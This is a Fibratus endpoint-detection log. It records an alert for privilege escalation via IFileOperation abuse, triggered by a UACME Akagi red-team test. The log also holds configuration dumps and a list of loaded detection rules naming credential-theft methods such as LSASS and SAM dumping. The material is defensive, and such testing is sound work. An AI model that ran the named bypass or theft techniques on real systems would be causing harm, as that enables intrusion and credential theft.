msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 1093273 + Pid: 9812 + Tid: 4004 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 20:33:40.7399786 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbd097b75c970, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffbd097b202138, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 4004, type➜ File + Metadata: rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9812 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + + Seq: 1100056 + Pid: 12672 + Tid: 13084 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-20 20:33:41.1488739 +0100 CET + Params: base_address➜ 7ff952770000, checksum➜ 38076, default_address➜ 7ff952770000, file_path➜ C:\Windows\System32\wbem\ATL.dll, image_size➜ 53248, pid➜ 12672, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 12672 + Ppid: 16848 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" WmiMgmt.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 77 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" WmiMgmt.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T20:40:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:40:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:40:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:40:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T20:40:31+01:00 level=info msg=bootstrapping with pid 2720. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:40:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-handle=>false enable-vamap=>true enable-image=>true buffer-size=>512 enable-net=>true flush-interval=>1s enable-registry=>true enable-mem=>false min-buffers=>16 stack-enrichment=>true enable-audit-api=>true enable-fileio=>true enable-thread=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json enabled=>false] amqp=>[ enabled=>false exchange-type=>topic exchange=>fibratus timeout=>5s durable=>false passive=>false routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false delivery-mode=>transient] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false healthcheck-timeout=>5s template-name=>fibratus sniff=>false flush-period=>1s gzip-compression=>false bulk-workers=>1 index-name=>fibratus trace-log=>false timeout=>5s healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false enabled=>false skip-allocs=>false scan-timeout=>10s skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:40:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:40:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:40:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:40:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:40:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:44:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T20:44:05+01:00 level=info msg=bootstrapping with pid 12752. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:44:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-mem=>false flush-interval=>1s enable-handle=>false enable-audit-api=>true enable-dns=>false enable-thread=>true enable-net=>true stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-vamap=>true enable-fileio=>true enable-image=>true enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text log-stdout=>true max-age=>0 max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ tls-insecure-skip-verify=>false serializer=>json timeout=>5s enable-gzip=>false enabled=>false method=>POST endpoints=>[]] elasticsearch=>[ index-name=>fibratus flush-period=>1s enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true trace-log=>false sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 timeout=>5s template-name=>fibratus] eventlog=>[ enabled=>false level=>info] amqp=>[ passive=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient timeout=>5s enabled=>false vhost=>/ url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false exchange-type=>topic]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false skip-allocs=>false enabled=>false fastscan=>true excluded-procs=>[] excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:44:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:44:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:44:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:44:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:44:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:49:32+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:49:32+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, RenameFile, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T20:49:32+01:00 level=info msg=bootstrapping with pid 11832. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:49:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ stack-enrichment=>true min-buffers=>16 enable-dns=>false enable-registry=>true enable-mem=>false enable-thread=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-vamap=>true enable-net=>true flush-interval=>1s buffer-size=>512 enable-audit-api=>true max-buffers=>36 enable-fileio=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 formatter=>text level=>info max-age=>0 log-stdout=>true] + output ......................... [ http=>[ timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false method=>POST] elasticsearch=>[ healthcheck-interval=>10s timeout=>5s trace-log=>false sniff=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true bulk-workers=>1 flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s enabled=>false] amqp=>[ exchange=>fibratus passive=>false delivery-mode=>transient routing-key=>fibratus enabled=>false durable=>false exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s fastscan=>true enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-files=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T20:49:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:49:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:50:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T20:50:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:50:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T20:58:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T20:58:00+01:00 level=info msg=bootstrapping with pid 9808. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T20:58:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-net=>true buffer-size=>512 enable-thread=>true stack-enrichment=>true min-buffers=>16 enable-dns=>false enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-fileio=>true enable-mem=>false enable-registry=>true enable-vamap=>true blacklist=>[ 